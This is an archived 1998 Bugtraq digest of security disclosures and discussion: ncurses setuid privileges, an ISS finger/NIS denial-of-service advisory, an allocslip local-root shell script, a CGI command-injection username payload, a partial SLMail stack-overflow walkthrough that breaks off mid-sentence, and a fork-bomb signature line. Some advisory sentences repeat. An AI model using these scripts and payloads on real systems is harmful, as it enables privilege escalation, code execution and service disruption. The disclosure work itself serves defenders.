(Message /3/bishop/Mail/inbox:84) Return-Path: owner-BUGTRAQ@NETSPACE.ORG Received: from brimstone.netspace.org (brimstone.netspace.org [128.148.157.143]) by nob.cs.ucdavis.edu (8.8.8/8.8.7) with ESMTP id VAA22449 for ; Thu, 9 Jul 1998 21:07:48 -0700 (PDT) (envelope-from owner-BUGTRAQ@NETSPACE.ORG) Received: from unknown@netspace.org (port 36358 [128.148.157.6]) by brimstone.netspace.org with ESMTP id <96429-25034>; Fri, 10 Jul 1998 00:07:05 -0400 Date: Fri, 10 Jul 1998 00:04:43 -0400 Reply-To: Bugtraq List Sender: Bugtraq List From: Automatic digest processor Subject: BUGTRAQ Digest - 8 Jul 1998 to 9 Jul 1998 To: Recipients of BUGTRAQ digests Message-Id: <19980710040705Z96429-25034+16@brimstone.netspace.org> There are 19 messages totalling 1556 lines in this issue. Topics of the day: 1. ncurses 4.1 security bug (5) 2. Forwared to me 3. notes on Port scanning 4. Linux kernel filesystem oddities (2) 5. Sun libnsl lameness (3) 6. ePerl: bad handling of ISINDEX queries 7. dslip package 8. WWW Authorization Gateway 9. SLMail 3.0.2421 Stack Overflow... 10. DoS: ANS Interlock Firewall 11. Administrivia 12. Announcement: Phrack 53 ---------------------------------------------------------------------- Date: Wed, 8 Jul 1998 15:53:27 +0100 From: Alan Cox Subject: Re: ncurses 4.1 security bug > SUID programs should drop privs almost immediately. The number of > possible places such issues can lurk is semi-infinite. You'll never > get all of them. You *can*, however, drop privs almost instantly. Almost is often the killer. On the rest of the issues Im sure you are preaching to the choir right now > > 1. The libraries will use message catalogs and may open them before > > you do > > In NetBSD, the message catalogs we use don't work that way, so I > suppose I'm not familiar with this issue. Does libc load message databases of your choice - like say /dev/tape ? The problems are those of dropping privliedges early enough. As to the bug list thats real apps that need fixing - and should be fixed regardless of whether people bandaid ncurses. > > 2. If you are using C++ your constructors can't call libc in this case > > as the order of constructors isnt defined > > ??? > > Why not just drop privs at the beginning as you are supposed to? In C++ _you cant_ C++ global object constructors are called in pretty much arbitary order before main() is entererd. Its an interesting reason not to write setuid apps in C++ 8) ------------------------------ Date: Wed, 8 Jul 1998 13:45:58 +0100 From: Alan Cox Subject: Re: ncurses 4.1 security bug > Duncan Simpson writes: > > ncurses version 4.1 fails to drop priviledges before opening the > > termcap database and you can set any file(s) you like. > > This is not a bug. ncurses is a *library*, not a *program*. It is up > to suid programs to drop privileges, not every call that invokes them -- > or are you going to declare the fact that fopen() doesn't drop > privileges a "bug"? Depends how you care to look at it. I can agree with your reasoning. In which case there is a bug in screen (as root so very bad) dosemu mutt several bsd-games packages and almost every other setuid/setgid binary that uses ncurses,termcap or slang anywhere on the planet today. Also of course any setuid/setgid applications using NLS or TZ. The latter is far nastier because 1. The libraries will use message catalogs and may open them before you do 2. If you are using C++ your constructors can't call libc in this case as the order of constructors isnt defined 3. Is anyones ld.so internationalised ? Which OS's have C libraries that load TZ or NLS data at library initialisation time before the app starts. 4. Dropping TZ or NLS when setuid is really obnoxious - Japanese users will love having mutt, screen, and things like su in English. And of course your comment is inconsistent with LD_PRELOAD handling on every OS so far - ld.so is a shared object too. Alan ------------------------------ Date: Wed, 8 Jul 1998 10:40:09 -0400 From: "Perry E. Metzger" Subject: Re: ncurses 4.1 security bug Alan Cox writes: > > Duncan Simpson writes: > > > ncurses version 4.1 fails to drop priviledges before opening the > > > termcap database and you can set any file(s) you like. > > > > This is not a bug. ncurses is a *library*, not a *program*. It is up > > to suid programs to drop privileges, not every call that invokes them -- > > or are you going to declare the fact that fopen() doesn't drop > > privileges a "bug"? > > Depends how you care to look at it. I can agree with your reasoning. > > In which case there is a bug in > screen (as root so very bad) > dosemu > mutt > several bsd-games packages There are indeed many such bugs. SUID programs should drop privs almost immediately. The number of possible places such issues can lurk is semi-infinite. You'll never get all of them. You *can*, however, drop privs almost instantly. > anywhere on the planet today. Also of course any setuid/setgid applications > using NLS or TZ. The latter is far nastier because > > 1. The libraries will use message catalogs and may open them before > you do In NetBSD, the message catalogs we use don't work that way, so I suppose I'm not familiar with this issue. > 2. If you are using C++ your constructors can't call libc in this case > as the order of constructors isnt defined ??? Why not just drop privs at the beginning as you are supposed to? > 4. Dropping TZ or NLS when setuid is really obnoxious - Japanese users > will love having mutt, screen, and things like su in English. So don't drop them -- drop privs *first*. Sigh. Perry ------------------------------ Date: Wed, 8 Jul 1998 14:20:01 -0400 From: Raymond Medeiros Subject: Forwared to me This was recently brought to my attention, apologies if this has already been posted I haven't seen it in the archives though it's easy to stop and even easier to exploit: ISS Security Alert Advisory June 29, 1998 Distributed DoS attack against NIS/NIS+ based networks. For purposes of this report, NIS refers to both NIS and NIS+ as this problem has been observed and reproduced on both services. Synopsis: It is possible, through a well orchestrated attack using the finger service against multiple NIS clients, to disrupt an entire NIS based network and/or starve the NIS servers for resources. The problem is in the finger service but the attack causes long duration, network-wide, congestion and resource exhaustion on NIS servers. Recommended action: Disable finger service on any systems connected to any NIS based network. Disable access to internal finger services at all perimeter defenses (firewalls, gateways, filtering routers, etc.). If the finger service is required for some specific purpose, limit it to the minimum number of restricted hosts or to hosts which are NOT participating in NIS. For those who wish to continue to run the finger service on their systems, there are other possible actions that could be taken, like using a public domain fingerd that doesn't do ambiguous lookups. The finger service can also be protected by even something as simple as wrapping finger to not do ambiguous lookups like as follows: # mv /usr/bin/finger /usr/bin/finger.exe # cat > /usr/bin/finger #!/bin/sh exec /usr/bin/finger.exe -m $* ^D # chmod +x /usr/bin/finger These recommendations would permit the continued safe use of finger (or as safe as finger ever gets). Description: A finger request results in multiple NIS requests as the responding daemon attempts to locate all account records matching the finger request. A finger request results in multiple NIS requests as the responding daemon attempts to locate all account records matching the finger request. A request for finger foo@bar.com will result in one finger daemon searching incrementally through all of the entries in the passwd map to locate any accounts with foo in the name. As a consequence, a single finger request can result in a significantly larger amount of traffic between the NIS client and the NIS server than the originating traffic to and from the finger service. The amount of NIS traffic is dependent on the size of the NIS passwd map. With a passwd map of 10,000 entries, a single finger request would result in roughly 10,000 NIS requests and 10,000 NIS responses. This does NOT count retries from packet loss or other failures (a highly significant factor in this attack). By sending a large number of overlapping finger requests to a single host, it is possible to load that host down with a very significant amount of traffic just processing the NIS requests. If this is done to multiple hosts, the network traffic rises dramatically. Eventually, a condition arises in which congestion and/or resource exhaustion on the NIS server begin to cause a significant rise in lost packets and failed requests. This results in retry attempts from the NIS clients, adding to the already overloaded network traffic. The failure / retry / failure cycle becomes an NIS traffic "storm" in which the retry traffic dominates and little other traffic can squeeze through. Network congestion combined with NIS server resource exhaustion work together to not only deny service to the requesting clients but also to rapidly clog the network bandwidth and render the network unusable by anything on the network. Analysis and details: In analyzing this attack, a perl script was used to generate finger traffic attacking a dozen hosts with four finger requests for each of approximately 100 names (~400 finger requests per host). A demonstration NIS map of approximately 1000 accounts was used. At an issue rate of approximately 4 finger requests every two seconds against a given host, 10's to 100's of lingering finger requests would build up even as some finger requests would be fufilled. These lingering finger processes would be attempting to paw their way through the entire NIS password map. A typical test run attack lasted approximately 30-50 seconds in duration. During analysis of this attack, network traffic from even a short caused network disruptions extending for as much as 45 minutes to an hour after cessation of the attack. During this time, some systems were impacted caused network disruptions extending for as much as 45 minutes to an hour after cessation of the attack. During this time, some systems were impacted to the extent that screen savers froze and systems were unresponsive to the keyboards. Many systems were left with seemingly hung finger processes. These stayed on the system for a half an hour or more while the network congestion cleared. Some systems ran out of swap space because of the resource demands of the finger processes. On a few of the test runs the network traffic was observed to have risen to a level which caused a switched ethernet hub to disable ports due to excesive collisions. Finger requests to perform this action have to be distributed and timed properly. Too many requests, too quickly, seem to result in inetd disabling the finger service. Too slowly, and the network traffic rises too slowly and fails to reach the catastrophic level where packet loss and retries become the dominant traffic input to the network. Because the finger requests are TCP based and not dependent on preauthentication, finger requests can still be delivered by the attacker to the systems under attack even in the face of increasing network congestion. By the time the attacking connections are significantly impacted by the network congestion, the network has been rendered unusable by systems requiring NIS or other services. Timed correctly, an attack of only a few seconds, targeting as few as a dozen NIS clients on a network with a moderate NIS passwd map can render even a small network unusable for as long as a half an hour to an hour or more. Increasing the size of the NIS passwd map, the number of attacked clients, or the number of requests sent to any given client causes the recovery time to extend out dramatically and disproportionately to any particular increases in any particular factor. If the NIS server is also one of the attacked systems, it can rapidly run out of system resources, causing NIS request failures and accelerating the resulting NIS traffic "storm". When the NIS server was one of the systems attacked by finger requests, it was not unusual to see warnings about unable to grow stack, exhausted virtual memory, or other resource related errors. MOST client systems seem to clean themselves up EVENTUALLY. This can take anywhere from a few moments for some Linux boxes, to a significant fraction of an hour for some SUN boxes. It was observed that some IRIX boxes and AIX boxes would become unreachable from the network and unresponsive to the keyboard, requiring a power cycle to recover. These last systems may have recovered on their own eventually, but that time frame appears to be geological. Recovery time seems to also be dependent on the recovery time of the NIS server for those clients which time frame appears to be geological. Recovery time seems to also be dependent on the recovery time of the NIS server for those clients which were observed to recover. Resetting the targeted systems permits the network to recover. All tested systems were affected to some extent. Because the resulting traffic and congestion is proportional to the size of the NIS passwd map times the number of attacked hosts times the number of requests in the attack, large networks are disproportionately vulnerable to this attack. Even small networks of a few dozen systems can be disabled by a determined attacker if they have a sufficiently large NIS passwd map. Conclusion: The finger service permits a condition where a limited number of requests can result in a vastly larger number of internal requests against a central naming service such as NIS. This permits an attacker to mount a distributed attack by launching smaller attacks against numerous hosts. These combine to form a disasterous level of congestion on the internal systems, disrupting an internal network for an extended period of time. Afterword: It is unknown, at this time, if any other services exhibit similar characteristics with regard to NIS traffic as does finger. Disabling finger prevents it from being exploited against a network. It obviously does not guarantee that some other service might be similarly exploitable. Credits: We would like to extend our appreciation to Sun Microsystems, Inc. for their assistance and consultation with regard to the vulnerability. Michael H. Warfield Senior Researcher ISS X-Force Internet Security Systems, Inc. ________ Copyright (c) 1998 by Internet Security Systems, Inc. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of X-Force. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please email xforce@iss.net for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. X-Force PGP Key available at: http://www.iss.net/xforce/sensitive.html as well as on MIT's PGP key server and PGP.com's key server. X-Force Vulnerability and Threat Database: http://www.iss.net/xforce Please send suggestions, updates, and comments to: X-Force of Internet Security Systems, Inc. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNZfaJjRfJiV99eG9AQEFDAP/Y5k+8q5lmasrZotzcVw5z43LBUy9AL6l By8onp07PmIdkQD7vCyiSIHqEvWiGigvhl76gdnkZxUowSYjdI+PfZBbB9S1HoZB eMRNjd0m5X7aEimIH208TwdegxwLu+A7/FKnl3EImd182Nzma1PhAqXpclPEmJ38 mUbk7Lm6Yls= =HXJi -----END PGP SIGNATURE----- ------------------------------------------------------------------------------- Raymond R Medeiros II email: medeiros@eng.usf.edu Junior Systems Administrator www: http://www.eng.usf.edu/~medeiros Engineering Computing University of South Florida ------------------------------ Date: Wed, 8 Jul 1998 16:06:51 -0700 From: Lloyd Vancil Subject: notes on Port scanning Recently A spate of "portscanning attacks" have been attibuted to various high traffic sites ond servers on the net. Here is an observation. Below is one of the "scanning packets". Specifically in this case the tcp part of the packet has been replaced in such a way that you might mistake it for a port scanning attack. It would certainly trip tcp filters. This particular packet began life as a ligitimate email packet in a stream between Apple's email server and the MIT email server. This one packet in the stream was munged. Specifically the entire tcp part of the packet has been replaced by 78 FF 02 14 repeated over and over again. The tcp header, everything. This made it look like wierd things were happening The sourceport is 30975 = hex 78ff The Dest port is 532 = hex 214 The Initial sequence number and Acknowledgment number = 2029978132 = 78ff0214 The flags is set to ff The Checksum = 78FF The Urgent pointer is 532 = hex 214 You will notice the repeated pattern 78 FF 02 14 (the packet fragment is attached.) We have determined that our equipment is not doing this and that it occurs to a few packets in almost any stream. The pattern repeated is not always 78ff0214. Because of filtering it was generating almost 65MB of log files daily. SO, here's the question. If you sniff packets and capture this type of activity could you send me a traceroute from your establisment to the system that is "apparently" "portscanning" you. The object here is to analyze the path over which this is occuring to try to narrow down where it is happening. Here is the traceroute for the path overwhich this particular packet traveled. 1 LL-HUB.LL.MIT.EDU (129.55.10.1) 3.515 ms 4.265 ms 2.523 ms 2 lincoln-gw.near.net (129.55.15.2) 5.312 ms 5.129 ms 5.776 ms 3 cambridge2-cr3.bbnplanet.net (199.95.64.177) 61.448 ms 106.771 ms 132.239 ms 4 cambridge2-br2.bbnplanet.net (192.233.33.6) 23.658 ms 60.333 ms 10 ms 5 cambridge1-br1.bbnplanet.net (4.0.1.201) 14.073 ms 7.509 ms 8.525 ms 6 core10-hssi-1.SanFrancisco.mci.net (204.70.10.221) 13.952 ms 11.017 ms 19.617 ms 7 bordercore2.WillowSprings.mci.net (166.48.22.1) 36.64 ms 32.246 ms 67.459 ms 8 core2.Dallas.mci.net (204.70.4.69) 51.571 ms 50.028 ms 59.195 ms 9 borderx1-fddi-1.Dallas.mci.net (204.70.114.52) 54.696 ms 56.805 ms 64.161 ms 10 diamond-net.Dallas.mci.net (204.70.114.106) 71.301 ms 67.505 ms 59.686 ms 11 APPLE-1.DllsTX.savvis.net (209.44.32.2) 316.68 ms 142.599 ms 250.019 ms 12 209.44.33.18 (209.44.33.18) 97.149 ms 90.555 ms 91.014 ms 13 tre.apple.com (205.180.175.29) 407.373 ms 337.825 ms 106.116 ms 14 mail-out2.apple.com (17.254.0.51) 107.062 ms * 101.546 ms The tcp part TCP: ----- TCP header ----- TCP: TCP: Source port = 30975 TCP: Destination port = 532 (Netnews) TCP: Initial sequence number = 2029978132 TCP: Acknowledgment number = 2029978132 TCP: Data offset = 28 bytes TCP: Flags = FF TCP: ..1. .... = Urgent pointer TCP: ...1 .... = Acknowledgment TCP: .... 1... = Push TCP: .... .1.. = Reset TCP: .... ..1. = SYN TCP: .... ...1 = FIN TCP: Window = 532 TCP: Checksum = 78FF, should be E635 TCP: Urgent pointer = 532 TCP: TCP: Options follow TCP: Unknown option 120 TCP: 7 byte(s) of header padding TCP: [504 byte(s) of data] TCP: ADDR HEX ASCII 0000 00 E0 14 7B 36 09 00 00 0C F8 17 49 08 00 45 00 ...{6......I..E. 0010 02 28 C2 35 00 00 2E 06 29 0B 11 FE 00 33 81 37 .(.5....)....3.7 0020 0C 28 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF .(x...x...x...x. 0030 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0040 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0050 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0060 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0070 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0080 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0090 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00A0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00B0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00C0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00D0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00E0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 00F0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0100 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0110 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0120 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0130 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0140 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0150 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0160 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0170 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0180 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0190 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01A0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01B0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01C0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01D0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01E0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 01F0 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0200 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0210 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0220 02 14 78 FF 02 14 78 FF 02 14 78 FF 02 14 78 FF ..x...x...x...x. 0230 02 14 78 FF 02 14 ..x... lev@ _/_/_/_/ _/_/_/_/ _/_/_/_/ _/ _/_/_/ searchmaster@ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/ _/_/_/ .com _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/ _/_/_/ ------------------------------ Date: Wed, 8 Jul 1998 22:42:21 +0200 From: Pavel Kankovsky Subject: Re: Linux kernel filesystem oddities On Mon, 6 Jul 1998, Michal Zalewski wrote: > > FIFO itself occupies a single inode, no block, therefore charging inode > > quota but not block quota is correct. > > It's not charged at all. Set inode quota to something reasonable, then > create any amount FIFOs in /tmp. Argh. You're right. There is this STUPID statement at the beginning of dquot_initialize() (fs/dquot.c): if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode)) This is a bug! > >> But there will be problem with hard-links - creator of this object is... > > Hardlink is not a fs object, it is a directory entry. > > Yep. I mean, we need more information about these entries - who really > CREATED entry... But it's a major change in filesystem architecture and I > don't think it's possible... It would be rather confusing if directory entries themselves had their own attributes. > > The world writable directory is a real problem. It is similar to world > > writable files: anyone can use them to store data on its owner. > > They are not similar, because directory stores data about owner of entries > in it. Kernel provides mechanism to limit it, but unfortunately, this > mechanism is waek. Owners are stored in i-nodes. Directory entries are nothing but (filename, i-node number) pairs. link("publicly-visible-file", "world-writable-directory/blah") is as anonymous as write(open("/world-writable-file", O_WRONLY), "blah", 4) --Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ] "You can't be truly paranoid unless you're sure they have already got you." ------------------------------ Date: Wed, 8 Jul 1998 19:44:28 -0700 From: Matt Conover Subject: Re: Sun libnsl lameness On Mon, 6 Jul 1998, Allanah Myles wrote: > > These vulnerabilities are present in Sun Microsystem's > > Solaris 2.2, 2.3, 2.4 and 2.5.1. > > They fail to mention 2.6 - is this because this announcement was > pre-2.6, or is it fixed in 2.6? > At the time, I myself didn't have access to a Solaris 2.6. I had verified them a on Solaris 2.5.1, and later Mark had verified them on the other versions. Now I recall hearing that Solaris 2.6 was vulnerable, but I haven't confirmed that, so don't quote me on it. I'll check. Also, Sun has been nice enough to provide us with a Solaris 2.7 to do some testing. > This is another perfect example of why Sun should go back into the > hardware design and architecture business, and get OUT of the > OS/software business. Leave software design to real software > designers. > Speaking for myself here, I like Sun. I like [most] of their employees. For the record, I think it's unfair to judge a company's entire ability off one field. Your opinion is biased on security. I must say that I think several things are overlooked when it comes to Sun. Example: If a company is great with security, but terrible with portability, reliability, technical support... does that make them better than a company that is good overall, but lousy in a few fields? I don't think so. ***************************************************************************** Matt Conover RSI R&D Team ----------------------------------------------------------------------------- RepSec, Inc. (RSI) [http://www.repsec.com] w00w00 Security Development (WSD) [http://www.w00w00.org] ***************************************************************************** ------------------------------ Date: Thu, 9 Jul 1998 11:37:18 +1000 From: mib@DEAKIN.EDU.AU Subject: Re: Sun libnsl lameness Allanah Myles writes: > This is another perfect example of why Sun should go back into the > hardware design and architecture business, and get OUT of the > OS/software business. Leave software design to real software > designers. If anyone had actually bothered to look at Sunsolve or call Sun support before jumping to rash conclusions they would have realised that Sun actually fixed these problems some time in June - long before "George Clooney" posted his diatribe on July 1st. The only patch I have first hand knowledge of is the 2.5.1 patch, which is 103612-41, but Sun assure me that similar patches are available for other releases. Please, can we have some rational thought on bugtraq? regards - Mike -- | Mike Battersby | The skill of accurate perception is called | | | cynicism by those who don't possess it. | ------------------------------ Date: Wed, 8 Jul 1998 14:32:58 -0400 From: Steve Willer Subject: Re: ePerl: bad handling of ISINDEX queries On Wed, 8 Jul 1998, Andrew Pimlott wrote: > I notified the author of a variant of this bug last summer (which he > fixed; see > http://www.engelschall.com/sw/eperl/distrib/eperl-SNAP/ChangeLog). I > honestly wouldn't trust eperl for a minute. These are very simple > mistakes. > > > This can lead to arbitrary Perl code being executed on > > the server. To be honest, although I ended up not using ePerl, I would consider this mistake fairly understandable. I mean, I can't think of anywhere that still uses ISINDEX, so it's not that strange for it to fall out of a developer's mental space. I do want to make one point about the original bug report: If I read it correctly, then you will only be able to execute ePerl code, *not* Perl code. ePerl starts off in "plain text" mode, so anything until the ePerl-open tag will be output as plain text. Of course, this does mean that a user would be able to read an arbitrary file that's accessible to nobody, but it doesn't mean they can execute whatever they want -- only ePerl pages, which are usually written to be safe (since they're usually a Web page anyway). ------------------------------ Date: Thu, 9 Jul 1998 01:34:20 -0700 From: David Kopstain Subject: dslip package In the README file for the dslip package, it clearly states: Those people who are allowed to turn on and off SLIP lines should be put in the slip group. NOBODY except user slip should be allowed in the slipown group since it effectively allows root access (since the dialin/dialout scripts must be run as root). The package advises to install the program 'allocslip' like so: -rwsr-x--- 1 root slipown 9220 Aug 4 11:15 allocslip* If you follow the instructions, then only users in group slipown can run this program and you're only at _their_ mercy. But if you allow anyone to run this program on your machine, and its setuid root like advised, then something as easy as this will compromise root. --- cut --- #!/bin/sh cat > /tmp/sg << EOF #!/bin/sh cp /bin/sh /tmp/tz chown root /tmp/tz chmod 4755 /tmp/tz EOF chmod +x /tmp/sg allocslip /tmp/sg --- eof --- allocslip simply follows any command you give it as arg 1. So take the above shell script, run it, then look for your handy root shell at /tmp/tz. The buffer overflow previously mentioned is of no real concern then since we can already execute whatever we want. And the reason some people can't make this program do what exactly what they want, (ie call system_script() so they can execute whatever they want), is because they must have compiled in the slip option in the networking options of the kernel. Moral of the story: read the manual. dont be a dumbshit and install software without reading exactly what you're doing. -taz ------------------------------ Date: Wed, 8 Jul 1998 20:08:49 -0400 From: Albert Nubdy Subject: WWW Authorization Gateway -----BEGIN PGP SIGNED MESSAGE----- Hello, I have discovered a problem in the WWW Authorization Gateway 0.1 By Ray Chan From West's Perl Archive. This CGI Lets users grant or deny access tosome pages. You can Execute any command you please with it. That is because of this little line: "$info = `grep $DATA{"user"} $passurl`;". To exploit You would just have to put: "| any command you would like" as a Username and any password. FormateZ -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.5.3i for non-commercial use iQA/AwUBNaQxceUnuPHnmgTPEQL1fACaAr/WMae2qu78PwrG9orZNc4jvCEAoO3R FC/KpjgPjJrHSSyhVPSe6w87 =hyj4 -----END PGP SIGNATURE----- ------------------------------ Date: Mon, 6 Jul 1998 14:55:58 +0200 From: Michal Zalewski Subject: Re: Linux kernel filesystem oddities On Wed, 8 Jul 1998, Pavel Kankovsky wrote: > FIFO itself occupies a single inode, no block, therefore charging inode > quota but not block quota is correct. It's not charged at all. Set inode quota to something reasonable, then create any amount FIFOs in /tmp. >> But there will be problem with hard-links - creator of this object is... > Hardlink is not a fs object, it is a directory entry. Yep. I mean, we need more information about these entries - who really CREATED entry... But it's a major change in filesystem architecture and I don't think it's possible... > The world writable directory is a real problem. It is similar to world > writable files: anyone can use them to store data on its owner. They are not similar, because directory stores data about owner of entries in it. Kernel provides mechanism to limit it, but unfortunately, this mechanism is waek. _______________________________________________________________________ Michal Zalewski [lcamtuf@boss.staszic.waw.pl] <= finger for pub PGP key Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch] [echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86] ------------------------------ Date: Thu, 9 Jul 1998 11:54:17 -0500 From: Aleph One Subject: SLMail 3.0.2421 Stack Overflow... ---------- Forwarded message ---------- Date: Wed, 8 Jul 1998 17:32:02 PDT From: Ezekial Morrow To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: SLMail 3.0.2421 Stack Overflow... Product: SLMail 3.0.2421 from Seattle Lab. Vulnerability: Stack overflow - Remote execution of code. Jeremy Kothe (paceflow@hotmail.com) If the "mail from" field exceeds 256 bytes, it will pass through the receive process without being trimmed... When the mail dispatcher picks up the mail file to process, it copies it into a stack buffer of only 256 bytes, overwriting the function return address and normally halting the SLMail server. The DOS attack is simple - simply send an e-mail with "mail from" > 256 bytes. To exploit the attack to remotely execute code is difficult but NOT impossible. The main difficulty is that the string which overflows the stack (the "mail from" name) can contain only valid email address characters. But don't think that makes it impossible... Introduction Stack overflows under xnix are usually a simple affair - create a shell and pipe it to the attacker. Under Windows 95 or Windows NT, however, the task is a little more complex. If you are not familiar with basic win32 stack overflow methods, see dildog's excellent (although 40 iq points too dumb for most of us:}) article at http:\\www.cultdeadcow, as well as his contributions at http:\\www.l0pht.com. Tools Microsoft's under-rated (though limited) WinDbg to debug and examine the fault. Borland's Turbo Assembler and DataRescue's IDA (disassembler) for converting my code into data bytes (no, sorry, I refuse to remember that 0x50 is push eax... oh shit). Borland Delphi - my 3gl of choice for the Windows environment to create and send the e-mail. Any ip-capable platform could of course be used here. Gaining Control The idea behind ANY overflow execution exploit is to leverage a bug or crash to execute data. To do anything, we must first "snag the EIP". To do this, we must examine the environment produced by the initial crash, find somewhere a pointer to our data, and then somhow get it into the eip register... So let's take a look at the environment created when SLMail overflows... Fire up SLMail.exe (it's a service, so use "net start slmail" or the control panel), then start WinDbg and Attach (F6) to the SLMail process. Press F5 to continue execution... Now we create a test program to send a buffer of 1600-odd 0x61 ("a")'s as the email from address. Running this program, our e-mail is accepted and placed, as a file, into SLMail's "In" subdirectory. SLMail.exe then picks up this file and bang... WinDbg reports our first-chance-exception at 0x42264f. 0042263C mov ecx, [esp+114h+arg_0] 00422643 mov edx, [esp+114h+arg_4] 0042264A mov eax, [esp+114h+var_104] 0042264E pop edi 0042264F ==> exception mov [ecx], esi 00422651 mov [edx], eax 00422653 mov eax, ebp 00422655 pop esi 00422656 pop ebp 00422657 pop ebx 00422658 add esp, 104h 0042265E retn The memory address which is being written to here happens to be 0x61616161, which we see four lines above as being the procedure's first argument on the stack... Looking at the registers, we find that the stack area has been well and truly overwritten by our test data, and that several registers (esp, esi, edi) are pointing to areas within this data area. And if we can stop the exception at 0x42264f, and the next one at 0x422651, then the retn will return to 0x61616161, or whatever else we choose to feed it... To stop the crash, we need to find an address which is writable, and place two copies of it into our buffer in the appropriate place... This would be no real problem except for our main limitation, the alphanumeric-only content of our buffer allows us only 1/1024 of the address space... So we search and search... Nothing in the main program, so one-by-one we check the dlls used. Now, this is where the issue of platform-dependency comes along. If we use an address in a dll, we are binding the exploit to that version of the dll. Any other versions would crash... Luckily, the proliferation of NT 4.0 sp3 platforms provide a number of large dlls which are fairly constant... (ie: user32.dll, kernel32.dll). It's worth remembering that NT server and workstation binaries are identical, so even by targeting only this one platform, an attacker could probable achieve a > 70% success rate on a random basis. So eventually, I found an address in a dll data segment which was valid for us to use, and plugged it in. Now we're past the crash... Returning to the stack via Microsoftware... Normally, at this point, you could open up the main executable in IDA, turn on showing of op-codes, then do a string search for a " 54 " (the op-code for push esp). Ideally, what you're looking for is: push esp retn Of course this would not usually be done, but by seaching for " 54 ", you can almost always find something like: add esp, 54h retn Which is really the same thing! Just ignore the "add esp, " and voila. Again, this is made enormously difficult because of the 1/1024 limitation... And in this case, dig as I might, I couldn't find anything at a valid address... The closest thing I could use were a few bits like this: push esp (actually an add esp, 54h) pop eax/ebx pop edi ... retn Now all this does is to get esp into eax. Doesnt seem like much until you realise thats it's relatively common to do a "call eax" or "call ebx". So, we go and find ourselves a "call eax/ebx" statement again with a valid (alphanumeric) address. We find a "call ebx" which we can use, so we go back and find a variant of the above code snippet which moves our esp into ebx. Positioning these two addresses at the correct position in the buffer can be tricky, but eventually we end up returning to what was originally our stack. The first stage of the attack is over, and were it not for the alphanumeric limitations, the battle would be over. Executing Text We have control of the eip... cheer, rest, think. What can we put in our buffer to execute? Not bloody much. Every byte in our buffer MUST be valid alphanumeric. I wouldn't have come this far without a plan, though. My idea is to use what small instruction set we DO have to dynamically CREATE a more flexible piece of code. Checking the instructions available to us in the character set we have, I find that we have all of the "push"es and most of the "pop"s. Along with, luckily, the "-" character, which turns into a "sub eax, ...", I came up with a plan... The initial code would PUSH the program onto the stack, then execute it from there. The first trick is to push bytes which cannot be in our buffer, I came up with the following: push xxxxxxxxh pop eax sub eax, xxxxxxxxh ... sub eax, xxxxxxxxh push 